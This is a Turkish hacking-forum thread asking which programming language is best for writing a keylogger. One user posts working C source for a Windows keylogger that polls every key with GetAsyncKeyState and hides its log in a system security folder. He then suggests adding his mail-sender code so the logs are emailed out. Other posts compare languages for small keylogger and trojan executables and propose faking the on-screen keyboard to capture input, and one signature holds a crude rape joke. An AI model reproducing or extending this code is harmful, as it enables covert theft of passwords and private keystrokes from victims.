folder Tahribat.com Forumları
linefolder C - C++
linefolder Keylogger Yazsaydınız Hangi Dille Yazardınız? Yada Yazıyorsunuz?



Keylogger Yazsaydınız Hangi Dille Yazardınız? Yada Yazıyorsunuz?

  1. KısayolKısayol reportŞikayet pmÖzel Mesaj
    ByCodeC
    ByCodeC's avatar
    Kayıt Tarihi: 18/Ağustos/2007
    Erkek

    al sana C de yazdıgım keylogger fonksiyonu...c:\\windows\\security\\log.txt dizininde log tutar.

    kullanımı çok basit program içinde şu şekilde kullanıcaksın

     /---------------------------

    FILE *file;

    get_key(file);

    /--------------------------- 

     

    void get_key(FILE *file)
    {

      short key;
      char szKey[MAX_PATH];
      int scan;
      unsigned short limit = 0;

      while(limit != 10000 )
      {
        Sleep(10);
        for(key=0;key<256;key++)
        {
          if(GetAsyncKeyState(key)==-32767)
          {
            scan=MapVirtualKeyEx(key,0,GetKeyboardLayout(0));
            GetKeyNameText(scan << 16,szKey,MAX_PATH);
             file=fopen ("c:\\windows\\security\\log.txt","a+");
                limit++;
                                    switch(key)
                                            {
                                                  case VK_SPACE:
                                                  fputc(' ',file);
                                                  fclose(file);
                                                  break;
                                                  case VK_RETURN:
                                                  fputs("\r\n[ENTER]\r\n",file);
                                                  fclose(file);
                                                  break;
                                                  case VK_TAB:
                                                  fputs("\r\n[TAB]\r\n",file);
                                                  fclose(file);
                                                  break;
                                                  case VK_DELETE:
                                                  fputs("\r\n[DEL]\r\n",file);
                                                  fclose(file);
                                                  break;
                                                  case 187:
                                                  fputc('+',file);
                                                  fclose(file);
                                                  break;
                                                  case 188:
                                                  fputc(',',file);
                                                  fclose(file);
                                                  break;
                                                  case 189:
                                                  fputc('-',file);
                                                  fclose(file);
                                                  break;
                                                  case 190:
                                                  fputc('.',file);
                                                  fclose(file);
                                                  break;
                                                  case VK_NUMPAD0:
                                                  fputc('0',file);
                                                  fclose(file);
                                                  break;
                                                  case VK_NUMPAD1:
                                                  fputc('1',file);
                                                  fclose(file);
                                                  break;
                                                  case VK_NUMPAD2:
                                                  fputc('2',file);
                                                  fclose(file);
                                                  break;
                                                  case VK_NUMPAD3:
                                                  fputc('3',file);
                                                  fclose(file);
                                                  break;
                                                  case VK_NUMPAD4:
                                                  fputc('4',file);
                                                  fclose(file);
                                                  break;
                                                  case VK_NUMPAD5:
                                                  fputc('5',file);
                                                  fclose(file);
                                                  break;
                                                  case VK_NUMPAD6:
                                                  fputc('6',file);
                                                  fclose(file);
                                                  break;
                                                  case VK_NUMPAD7:
                                                  fputc('7',file);
                                                  fclose(file);
                                                  break;
                                                  case VK_NUMPAD8:
                                                  fputc('8',file);
                                                  fclose(file);
                                                  break;
                                                  case VK_NUMPAD9:
                                                  fputc('9',file);
                                                  fclose(file);
                                                  break;

                                                  default:

                                                  fputs(szKey,file);
                                                  fclose(file);
                                                  break;
                                           }
            //fprintf(file,"%s",szKey);
            fclose(file);
          }
        }
      }

    //______________________________________

    }


    Game Developer
  2. KısayolKısayol reportŞikayet pmÖzel Mesaj
    exploit
    exploit's avatar
    Kayıt Tarihi: 28/Ağustos/2005
    Erkek
    delphi = veritabanı programı :D 90 yaşında ölen bi baık türü :D pardon Borlandığın yaptığı bi program :D
  3. KısayolKısayol reportŞikayet pmÖzel Mesaj
    nibble
    nibble's avatar
    Kayıt Tarihi: 22/Eylül/2007
    Erkek

    bycodec usta verdiğin kod gerçekten 10 numara çalışıyo. benim kodlar bellekte şişmeye sebep oluyodu. seninkilerde böyle bi sorun yok. teşşekkür kod için.

    kodda aklıma takılan bir iki yer var.

    char szKey[MAX_PATH]; burdaki MAX_PATH nedir. 

  4. KısayolKısayol reportŞikayet pmÖzel Mesaj
    nibble
    nibble's avatar
    Kayıt Tarihi: 22/Eylül/2007
    Erkek

    bulutbey bunu yazdı:
    -----------------------------
    python da yazardım
    -----------------------------

    pythonla keylogger veya trojan yazmak pek mantıklı değil bence. derleme sonucu oluşan dosya boyutu çok büyük yanlış hatırlamıyorsam ortalama 6-7 mb. visual basicle yazdığın bi keylogger ortalama 40 kb fakat programa winsock falan eklersen wincosk.dll dosyasına ihtiyacın var. en iyisi c ile yazmak. sadece tek exe keylogger  için yeterli ve yazdığın keylogger ın özelliğine göre 18 kb il 25 kb arasında bi boyutu var. c diline hayranım. Allah dennis ritche amcamızdan razı olsun.

  5. KısayolKısayol reportŞikayet pmÖzel Mesaj
    azizsenel55
    azizsenel55's avatar
    Banlanmış Üye
    Kayıt Tarihi: 22/Mayıs/2007
    Erkek
    kesinlikle delphi

    Bir gün HERKES FENERBAHÇELİ OLACAK...
  6. KısayolKısayol reportŞikayet pmÖzel Mesaj
    Musket
    Musket's avatar
    Üstün Hizmet Madalyası
    Kayıt Tarihi: 09/Haziran/2002
    Erkek

    Delphi olabilir tabiiki,

    Ama VB de fena olmayabilir.

    Malum zaten olan win. dll lerınden kullanabılecegın bırcok fonk. var.

    Ayrıca vista yaygınlastıgında vb.net ve c# bile keylogger - trojan için uygun diller haline gelecek.

    Ama tabiiki min. boyut için asm, yada C gibi dusuk sevıye bır dıl kullanman lazım.

    Sanıyorum ki, VB le yada Delphiyle yazacagın bir keylog. server'ı 20 - 25kb dan kucuk olamaz.(Tahmin tabiiki bu)

    4kb da mix ASM kullanılarak BASIC'ın yazıldıgını dusunursek, ASM ile 20kb de gercekten cok fazla sey yapabılırsın dıye dusunyorum. 

  7. KısayolKısayol reportŞikayet pmÖzel Mesaj
    ByCodeC
    ByCodeC's avatar
    Kayıt Tarihi: 18/Ağustos/2007
    Erkek
    nibble bunu yazdı:
    -----------------------------

    bycodec usta verdiğin kod gerçekten 10 numara çalışıyo. benim kodlar bellekte şişmeye sebep oluyodu. seninkilerde böyle bi sorun yok. teşşekkür kod için.

    kodda aklıma takılan bir iki yer var.

    char szKey[MAX_PATH]; burdaki MAX_PATH nedir. 


    -----------------------------

    MAX_PATH programın taşınabilir olması için kullanılmıştır.260 değerine karşılık gelir..

    forumda daha önceden verdiğim SMTP mail sender kodlarıyla bu keylogger i birleştirirsen mail gönderen keylogger elde etmiş olursun....

     

    (orda olup olmadıgını bilmiyorsan.yada çalışıp çalışmadıgından emin değilsen o bir C programıdır)


    Game Developer
  8. KısayolKısayol reportŞikayet pmÖzel Mesaj
    CodeCryer
    CodeCryer's avatar
    Bilgi/Destek Madalyası
    Kayıt Tarihi: 10/Mart/2007
    Erkek

    alayına isyan ölümüne delphi derim

     

    bide birisi sormuştu ekran klavyesinn tuşlarını keydadebilirmiyiz die bende ekran klavyesi uygulamasını bozarsın yada fake bir ekran klavyesiyle değiştirirsen olur demiştim


    CodeCryer derki "Tecavüz kaçınılmazsa benide çağırın aq"
  9. KısayolKısayol reportŞikayet pmÖzel Mesaj
    yenicerix
    yenicerix's avatar
    Kayıt Tarihi: 11/Temmuz/2007
    Erkek
    ...

    Türkiye Cumhuriyeti şeyhler, dervişler, müritler, meczuplar memleketi olamaz. En doğru, en hakiki tarikat, medeniyet tarikatıdır. "M.K.Atatürk"
  10. KısayolKısayol reportŞikayet pmÖzel Mesaj
    ByCodeC
    ByCodeC's avatar
    Kayıt Tarihi: 18/Ağustos/2007
    Erkek

    çalışıyormu diye sordun sanırım :-)

     

     

     


    Game Developer
Toplam Hit: 9302 Toplam Mesaj: 22